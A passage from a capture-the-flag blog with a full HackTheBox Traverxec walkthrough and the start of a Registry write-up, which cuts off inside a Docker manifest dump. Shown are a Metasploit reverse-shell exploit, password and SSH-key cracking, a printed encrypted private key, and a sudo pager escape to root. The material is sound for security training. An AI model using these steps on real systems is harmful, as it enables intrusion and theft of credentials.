<p>Let us start as always by a <code>nmap</code> scan the ports 22 (SSH) and 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Wed Nov 27 08:58:11 2019 as: nmap -p- -sS -oA nmap 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.088s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Wed Nov 27 09:01:46 2019 -- 1 IP address (1 host up) scanned in 215.57 seconds
</code></pre></div>
<p>Nothing particular about this services.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Wed Nov 27 09:04:36 2019 as: nmap -p22,80 -sSV -oA nmap 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.097s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 27 09:04:44 2019 -- 1 IP address (1 host up) scanned in 7.91 seconds
</code></pre></div>
<p>There is an exploit for nostromo in version 1.9.3 and a metasploit exploit
without a precision about the version.</p>
<div class="highlight"><pre><span></span><code># searchsploit nostromo
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote | exploits/multiple/remote/47573.rb
nostromo nhttpd 1.9.3 - Directory Trav | exploits/linux/remote/35466.sh
--------------------------------------- ----------------------------------------
</code></pre></div>
<h2>Web</h2>
<p>We run a dirb against the web service.</p>
<p>The website is a portfolio for a web and apps developer.</p>
<p><img alt="homepage" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/traverxec_1.png"/></p>
<p>The directory are listable.</p>
<p><img alt="Directory listing" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/traverxec_2.png"/></p>
<p>Nothing interesting on the web part. Let us run the exploit found in the recon.</p>
<h2>MSF</h2>
<p>We load the exploit in metasploit, set the option to target the box and set our
IP work the reverse shell and run it.</p>
<div class="highlight"><pre><span></span><code>msf5 exploit(multi/http/nostromo_code_exec) > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > show options
Module options (exploit/multi/http/nostromo_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.165 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.15.7 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 10.10.15.7:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 2 opened (10.10.15.7:4444 -> 10.10.10.165:56360) at 2019-11-27 09:50:39 +0100
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</path></code></pre></div>
<h2>nostromo</h2>
<p>We got a shell as <code>www-data</code>. We start enumerating the box. There is a specific
folder for the <a href="http://www.nazgul.ch/dev_nostromo.html">nostromo web server</a>. In
<code>/var/nostromo/</code> we found some configuration files.</p>
<div class="highlight"><pre><span></span><code>ls /var/
backups
cache
lib
local
lock
log
mail
nostromo
opt
run
spool
tmp
ls /var/nostromo/
conf
htdocs
icons
logs
ls -al /var/nostromo/
total 24
drwxr-xr-x 6 root root 4096 Oct 25 14:43 .
drwxr-xr-x 12 root root 4096 Oct 25 14:43 ..
drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 conf
drwxr-xr-x 6 root daemon 4096 Oct 25 17:11 htdocs
drwxr-xr-x 2 root daemon 4096 Oct 25 14:43 icons
drwxr-xr-x 2 www-data daemon 4096 Nov 27 03:39 logs
ls -al /var/nostromo//conf/
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 .
drwxr-xr-x 6 root root 4096 Oct 25 14:43 ..
-rw-r--r-- 1 root bin 41 Oct 25 15:20 .htpasswd
-rw-r--r-- 1 root bin 2928 Oct 25 14:26 mimes
-rw-r--r-- 1 root bin 498 Oct 25 15:20 nhttpd.conf
</code></pre></div>
<p>We display the content of the <code>.htpasswd</code> file and found a hash.</p>
<div class="highlight"><pre><span></span><code>cat /var/nostromo//conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
</code></pre></div>
<p>We load it into john an crack it with the rockyou dictionary. The password is
"Nowonly4me".</p>
<div class="highlight"><pre><span></span><code>john hash -w=rockyou.txt
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me (david)
</code></pre></div>
<p>Let us take a closer look at the <code>nhttpd.conf</code> file.</p>
<div class="highlight"><pre><span></span><code>cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
lopid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
</code></pre></div>
<p>According to <a href="http://www.nazgul.ch/dev/nostromo_man.html">Nostromo manual</a> the
<code>HOMEDIRS</code> section allow the server to serve the user's home and some specific
folder. In fact this is possible as the <code>http://10.10.10.165/~david/</code> show us.</p>
<p><img alt="http://10.10.10.165/~david/" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/traverxec_5.png"/></p>
<p>First of all we use python to get a proper shell <code>python -c 'import pty; pty.spawn("/bin/sh")'</code>.</p>
<p>The we go in the <code>public_www</code> folder inside david's home folder. We see that
there is a backup of some SSH identity files in a targz archive.</p>
<div class="highlight"><pre><span></span><code>$ cd /home/david/public_www/
cd /home/david/public_www/
$ ls
ls
index.html protected-file-area
$ ls protected-file-area
cls protected-file-area
backup-ssh-identity-files.tgz
</code></pre></div>
<p>We copy the archive to <code>/tmp/</code>, extract it and cat the private RSA key.</p>
<div class="highlight"><pre><span></span><code>$ cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
$ cd /tmp/
cd /tmp/
$ tar xvf backup-ssh-identity-files.tgz
tar xvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
$ cat home/david/.ssh/id_rsa
cat home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----
</code></pre></div>
<p>We then try to connect to the box using the key with david account but the SSH
key is password protected. We use ssh2john to get a crackable hash and run john
with the rockyou dictionary on it.</p>
<div class="highlight"><pre><span></span><code>python /usr/bin/ssh2john id_rsa > id_rsa.hash
john id_rsa.hash -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:04 DONE (2019-11-27 15:12) 0.2061g/s 2957Kp/s 2957Kc/s 2957KC/s *7¡Vamos!
Session completed
</code></pre></div>
<p>We then connect to the box as david using the SSH key and its <code>hunter</code> password.
And we get the user flag.</p>
<div class="highlight"><pre><span></span><code># ssh david@10.10.10.165 -i id_rsa
Enter passphrase for key 'id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Wed Nov 27 05:55:05 2019 from 10.10.14.25
david@traverxec:~$ cat user.txt
7db0b<redacted>
</redacted></code></pre></div>
<h1>Root part</h1>
<p>When trying the command <code>sudo -l</code> we are prompt for a password. Neither the
cracked passwords <code>hunter</code> nor <code>Nowonly4me</code> works.</p>
<p>In the david home folder we find a <code>bin</code> folder containing a bash program.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
cat<span class="w"> </span>/home/david/bin/server-stats.head
<span class="nb">echo</span><span class="w"> </span><span class="s2">"Load: `/usr/bin/uptime`"</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">" "</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">"Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">"Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">" "</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">"Last 5 journal log lines:"</span>
/usr/bin/sudo<span class="w"> </span>/usr/bin/journalctl<span class="w"> </span>-n5<span class="w"> </span>-unostromo.service<span class="w"> </span><span class="p">|</span><span class="w"> </span>/usr/bin/cat
</code></pre></div>
<p>The interesting part is the last line. This mean that we have the <code>sudo</code>
permissions as <code>root</code> with no password (as it is in a script).
The <code>sudo</code> rights are well designed, we cannot change any argument in the line.
If we look at
<a href="https://gtfobins.github.io/gtfobins/journalctl/">gtfobins for journalctl</a> we
see that the interesting part is to get the pager (which by default is <code>less</code>,
which allow to run bash command with <code>!</code>).</p>
<p>As the command specifiecaly allow us to only have 5 lines from the <code>journalctl</code>
output what we need to do is to get a tiny tiny windows to trigger the pager.</p>
<p><img alt="Tiny window in order to trigger the pager" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/traverxec_3.png"/></p>
<p>From <code>less</code> we are able to run a bash command as <code>/bin/bash/</code>.</p>
<p><img alt="Running a bash command from less" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/traverxec_4.png"/></p>
<p>We then get a root shell and are able to get the flag.</p>
<div class="highlight"><pre><span></span><code>david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2019-11-27 05:44:37 EST, end at Wed 2019-11-27 06:15:38 EST
Nov 27 06:11:16 traverxec crontab[4166]: (www-data) LIST (www-data)
Nov 27 06:12:32 traverxec sudo[4554]: pam_unix(sudo:auth): authentication failur
...skipping...
Nov 27 06:12:41 traverxec sudo[4554]: www-data : user NOT in sudoers ; TTY=pts/1
Nov 27 06:13:05 traverxec su[4567]: pam_unix(su:auth): authentication failure; l
Nov 27 06:13:07 traverxec su[4567]: FAILED SU (to david) www-data on pts/6
!/bin/bash
root@traverxec:/home/david# cat /root/root.txt
9aa36a6<redacted>
</redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>This box is quit easy. The revershell is quit quick. The privilege escalation to
user might a pain as there is some rabbit holes (like this <code>Nowonly4me</code>
password) and the root part is quit CTFish but quick.</p>HTB: Registry2020-04-04T19:40:00+02:002020-04-04T19:40:00+02:00maggicktag:maggick.fr,2020-04-04:/2020/04/htb-registry.html<p><img alt="Jarvis Card" class="align-left" src="/media/2020.04/registry_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/213">Registry</a>.
This box is rated as a hard box. It was release on October 19 by
<a href="https://www.hackthebox.com/home/users/profile/4615">thek</a>. It implies a few
rabbit holes, the Docker registry API, the Bolt CMS, and the SUID binary <code>restic</code>.</p>
<p><img alt="Jarvis Card" class="align-left" src="/media/2020.04/registry_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/213">Registry</a>.
This box is rated as a hard box. It was release on October 19 by
<a href="https://www.hackthebox.com/home/users/profile/4615">thek</a>. It implies a few
rabbit holes, the Docker registry API, the Bolt CMS, and the SUID binary <code>restic</code>.</p>
<p>[TOC]</p>
<h1>Getting user</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> TCP scan. The ports 22 (SSH), 80 (HTTP),
443(HTTPS) and 32115 are open:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Thu Nov 28 07:53:01 2019 as: nmap -p- -oA nmap 10.10.10.159
Nmap scan report for 10.10.10.159
Host is up (0.086s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
32115/tcp open unknown
# Nmap done at Thu Nov 28 08:05:18 2019 -- 1 IP address (1 host up) scanned in 737.00 seconds
</code></pre></div>
<p>Let us see what services are running on this ports.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Thu Nov 28 08:05:53 2019 as: nmap -p22,80,443,32115 -sSV -oA services 10.10.10.159
Nmap scan report for 10.10.10.159
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
32115/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 28 08:06:18 2019 -- 1 IP address (1 host up) scanned in 24.72 seconds
</code></pre></div>
<h2>Web</h2>
<p>On both port 80 and 443 we get the default Nginx home page.</p>
<p><img alt="default nginx homepage" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/registry_0.png"/></p>
<p>We run a <code>dirb</code> at it. The tool found a few interesting files in <code>.ssh.</code>:</p>
<ul>
<li><code>authorized_keys</code></li>
<li><code>id_rsa</code></li>
<li><code>password</code></li>
</ul>
<p>Here is the dirb output:</p>
<div class="highlight"><pre><span></span><code>-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb_ip
START_TIME: Tue Dec 3 07:40:04 2019
URL_BASE: http://10.10.10.159/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.159/ ----
+ http://10.10.10.159/.bash_history (CODE:403|SIZE:580)
==> DIRECTORY: http://10.10.10.159/.ssh/
==> DIRECTORY: http://10.10.10.159/fuck/
+ http://10.10.10.159/index.html (CODE:200|SIZE:612)
==> DIRECTORY: http://10.10.10.159/install/
---- Entering directory: http://10.10.10.159/.ssh/ ----
+ http://10.10.10.159/.ssh/authorized_keys (CODE:200|SIZE:395)
+ http://10.10.10.159/.ssh/id_rsa (CODE:200|SIZE:1766)
+ http://10.10.10.159/.ssh/password (CODE:200|SIZE:10)
---- Entering directory: http://10.10.10.159/fuck/ ----
---- Entering directory: http://10.10.10.159/install/ ----
+ http://10.10.10.159/install/index.php (CODE:200|SIZE:1050)
-----------------
END_TIME: Tue Dec 3 08:10:46 2019
DOWNLOADED: 18448 - FOUND: 6
</code></pre></div>
<p>The <code>password</code> file contain a single "word": <code>awwwwwwww</code>.</p>
<p>The SSH key is password protected, we extract the hash for john and run it to
find the password: <code>rootroot</code>.</p>
<div class="highlight"><pre><span></span><code>$ python2 /usr/bin/ssh2john id_rsa > id_rsa.hash
$ john id_rsa.hash -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
rootroot (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:11 DONE (2019-12-03 13:51) 0.08635g/s 1238Kp/s 1238Kc/s 1238KC/s *7¡Vamos!
Session completed
</code></pre></div>
<p>The SSH key doesn't let us login anywhere. It will prove later than both the SSH
key and the password were just a rabbit hole.</p>
<h2>subdomain</h2>
<p>We take a look at the SSL certificate and we see that there is a interesting
sub domain: <a href="https://docker.registry.htb/">https://docker.registry.htb/</a></p>
<p><img alt="default Nginx homepage" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/registry_1.png"/></p>
<p>We run another <code>dirb</code> at it and found an interesting page:
<a href="https://docker.registry.htb/v2">https://docker.registry.htb/v2</a></p>
<div class="highlight"><pre><span></span><code>-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Nov 28 08:28:46 2019
URL_BASE: https://docker.registry.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: https://docker.registry.htb/ ----
+ https://docker.registry.htb/v2 (CODE:301|SIZE:39)
-----------------
END_TIME: Thu Nov 28 08:36:36 2019
DOWNLOADED: 4612 - FOUND: 1
</code></pre></div>
<p>This page ask for a basic auth. The trivial <code>admin:admin</code> creds work.</p>
<h2>Docker registry API</h2>
<p>The following link is an interesting source to exploit the
<a href="https://docs.docker.com/registry/spec/api/">docker registry API</a>:
<a href="https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/">https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/</a></p>
<p>We start enumerating using the command: <code>_catalog</code>. The API give use the
available images: <code>{"repositories":["bolt-image"]}</code>.</p>
<p>(Note: the command are used by appending them to the URL for instance the
<code>_catalog</code> command is run by getting the following URL:
<a href="https://docker.registry.htb/v2/_catalog">https://docker.registry.htb/v2/_catalog</a>).</p>
<p>We list the available tags for this image with <code>bolt-image/tags/list</code>. There is
only one version available for this image: <code>latest</code>.</p>
<p><code>{"name":"bolt-image","tags":["latest"]}</code></p>
<p>We download the manifest for the latest version of the bolt-image docker image
with the command <code>bolt-image/manifests/latest</code>.</p>
<div class="highlight"><pre><span></span><code>{
"schemaVersion": 1,
"name": "bolt-image",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
},
{
"blobSum": "sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee"
},
{
"blobSum": "sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c"
},
{
"blobSum": "sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7"
},
{
"blobSum": "sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0"
},
{
"blobSum": "sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a"
},
{
"blobSum": "sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797"
},
{
"blobSum": "sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"container\":\"e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\",\"container_config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-05-25T15:18:56.9530238Z\",\"docker_version\":\"18.09.2\",\"id\":\"f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c419d01aa5ed5\",\"os\":\"linux\",\"parent\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\"}"
},
{
"v1Compatibility": "{\"id\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\",\"parent\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"created\":\"2019-05-25T15:13:31.3975799Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"parent\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"created\":\"2019-05-25T14:57:27.6745842Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"created\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"parent\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"created\":\"2019-05-24T22:51:14.8744838Z\",\"container_config\":{\"Cmd\":[\"/bin/bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"parent\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"created\":\"2019-04-26T22:21:05.100534088Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"parent\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"created\":\"2019-04-26T22:21:04.936777709Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo 'docker' \\u003e /run/systemd/container\"]}}"
},
{
"v1Compatibility": "{\"id\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"parent\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"created\":\"2019-04-26T22:21:04.220422684Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /var/lib/apt/lists/*\"]}}"
},
{
"v1Compatibility": "{\"id\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"parent\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:03.471632173Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo '#!/bin/sh' \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo 'exit 101' \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /usr/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i 's/^exit.*/exit 0/' /sbin/initctl \\t\\t\\u0026\\u0026 echo 'force-unsafe-io' \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t\\u0026\\u0026 echo 'DPkg::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'APT::Update::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'Dir::Cache::pkgcache \\\"\\\"; Dir::Cache::srcpkgcache \\\"\\\";' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u0026 echo 'Acquire::Languages \\\"none\\\";' \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo 'Acquire::GzipIndexes \\\"true\\\"; Acquire::CompressionTypes::Order:: \\\"gz\\\";' \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes 